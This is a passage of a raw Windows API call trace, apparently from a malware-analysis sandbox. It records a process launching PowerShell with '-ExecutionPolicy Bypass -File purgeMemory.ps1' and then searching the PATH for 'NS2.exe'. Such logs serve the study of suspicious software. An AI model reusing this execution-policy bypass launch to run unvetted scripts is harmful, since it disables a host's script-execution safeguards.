[1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0101.436] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843eb80*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xe3, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843eb80*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xe3, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0101.500] CoTaskMemFree (pv=0x32b7bc8) [0101.501] GetFileAttributesW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x20 [0101.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0101.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0101.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e7a8) returned 1 [0101.501] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x843e824 | out: lpFileInformation=0x843e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdc1d0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fdc1d0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fdc1d0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x69000)) returned 1 [0101.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e7a4) returned 1 [0101.502] GetFileAttributesW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x20 [0101.504] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0101.510] LocalAlloc (uFlags=0x0, uBytes=0x74) returned 0x32a05f0 [0101.510] LocalAlloc (uFlags=0x0, uBytes=0x60) returned 0x32f79f8 [0101.510] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x75c8808 [0101.511] ShellExecuteExW (in: pExecInfo=0x5850d50*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpParameters=" -ExecutionPolicy Bypass -File purgeMemory.ps1 ", lpDirectory="C:\\Users\\FD1HVy\\Desktop", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x5850d50*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpParameters=" -ExecutionPolicy Bypass -File purgeMemory.ps1 ", lpDirectory="C:\\Users\\FD1HVy\\Desktop", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x994)) returned 1 [0102.533] LocalFree (hMem=0x32a05f0) returned 0x0 [0102.534] LocalFree (hMem=0x32f79f8) returned 0x0 [0102.534] LocalFree (hMem=0x75c8808) returned 0x0 [0102.534] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843eb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eb20*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xe3, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0102.535] CoTaskMemAlloc (cb=0x2cc) returned 0x32b7bc8 [0102.535] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x32b7bc8, nSize=0x164 | out: lpBuffer="覈݁鑠݅") returned 0x0 [0102.535] CoTaskMemFree (pv=0x32b7bc8) [0102.535] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843eb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eb90*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xed, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0102.535] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843eafc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eafc*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xe3, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0102.535] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843eb80*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xed, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843eb80*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xed, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0102.536] CoTaskMemAlloc (cb=0x2cc) returned 0x32b7bc8 [0102.536] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x32b7bc8, nSize=0x164 | out: lpBuffer="覈݁鑠݅") returned 0x0 [0102.536] CoTaskMemFree (pv=0x32b7bc8) [0102.536] CoTaskMemAlloc (cb=0x2cc) returned 0x32b7bc8 [0102.536] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x32b7bc8, nSize=0x164 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0102.536] CoTaskMemFree (pv=0x32b7bc8) [0102.609] CoTaskMemAlloc (cb=0x2cc) returned 0x32b7bc8 [0102.609] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x32b7bc8, nSize=0x164 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0102.610] CoTaskMemFree (pv=0x32b7bc8) [0102.610] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x323fc20 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0102.610] CoTaskMemAlloc (cb=0x2cc) returned 0x32b7bc8 [0102.610] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x32b7bc8, nSize=0x164 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0102.610] CoTaskMemFree (pv=0x32b7bc8) [0102.610] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0102.610] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0102.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e76c) returned 1 [0102.610] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x843e7e8 | out: lpFileInformation=0x843e7e8*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0102.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e768) returned 1 [0102.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e7e8) returned 1 [0102.610] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0102.610] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0102.610] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\NS2.exe.*", lpFindFileData=0x843e510 | out: lpFindFileData=0x843e510*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0102.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e788) returned 1 [0102.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e794) returned 1 [0102.611] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0102.611] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0102.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e76c) returned 1 [0102.611] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x843e7e8 | out: lpFileInformation=0x843e7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec28c54, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xebb5ab66, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xebb5ab66, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0102.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e768) returned 1 [0102.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e7e8) returned 1 [0102.611] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0102.611] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0102.611] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\NS2.exe.*", lpFindFileData=0x843e510 | out: lpFindFileData=0x843e510*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0102.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e788) returned 1 [0102.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e794) returned 1 [0102.611] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0102.611] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0102.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e76c) returned 1 [0102.612] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x843e7e8 | out: lpFileInformation=0x843e7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0102.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e768) returned 1 [0102.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e7e8) returned 1 [0102.612] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0102.612] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0102.612] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\NS2.exe.*", lpFindFileData=0x843e510 | out: lpFindFileData=0x843e510*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0102.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e788) returned 1 [0102.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e794) returned 1 [0102.612] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0102.612] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0102.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e76c) returned 1 [0102.612] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x843e7e8 | out: lpFileInformation=0x843e7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb288124d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb288124d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0102.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e768) returned 1 [0102.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e7e8) returned 1 [0102.612] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0102.612] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0102.612] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\NS2.exe.*", lpFindFileData=0x843e510 | out: lpFindFileData=0x843e510*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0102.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e788) returned 1 [0102.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e794) returned 1 [0102.615] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0102.615] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0102.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e76c) returned 1 [0102.615] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x843e7e8 | out: lpFileInformation=0x843e7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x172cbef, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8cfff4c6, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0102.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e768) returned 1 [0102.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e7e8) returned 1 [0102.615] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0102.615] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0102.615] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\NS2.exe.*", lpFindFileData=0x843e510 | out: lpFindFileData=0x843e510*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0102.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e788) returned 1 [0102.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e794) returned 1 [0102.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0102.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0102.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e76c) returned 1 [0102.616] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windowsapps"), fInfoLevelId=0x0, lpFileInformation=0x843e7e8 | out: lpFileInformation=0x843e7e8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0102.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e768) returned 1 [0102.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e7e8) returned 1 [0102.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0102.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0102.616] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\NS2.exe.*", lpFindFileData=0x843e510 | out: lpFindFileData=0x843e510*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0102.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e788) returned 1 [0102.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e794) returned 1 [0102.616] CoTaskMemAlloc (cb=0x2cc) returned 0x32b7bc8 [0102.616] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x32b7bc8, nSize=0x164 | out: lpBuffer="覈݁鑠݅;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x0 [0102.616] CoTaskMemFree (pv=0x32b7bc8) [0102.617] CoTaskMemAlloc (cb=0x2cc) returned 0x32b7bc8 [0102.617] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x32b7bc8, nSize=0x164 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0102.617] CoTaskMemFree (pv=0x32b7bc8) [0102.617] CoTaskMemAlloc (cb=0x2cc) returned 0x32b7bc8 [0102.617] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x32b7bc8, nSize=0x164 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0102.617] CoTaskMemFree (pv=0x32b7bc8) [0102.617] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x323fc20 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0102.617] CoTaskMemAlloc (cb=0x2cc) returned 0x32b7bc8 [0102.617] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x32b7bc8, nSize=0x164 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0102.617] CoTaskMemFree (pv=0x32b7bc8) [0102.617] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0102.617] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0102.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6e0) returned 1 [0102.617] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x843e75c | out: lpFileInformation=0x843e75c*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0102.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6dc) returned 1 [0102.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e75c) returned 1 [0102.617] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0102.617] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0102.618] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-NS2.exe.*", lpFindFileData=0x843e484 | out: lpFindFileData=0x843e484*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0102.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6fc) returned 1 [0102.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e708) returned 1 [0102.618] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | 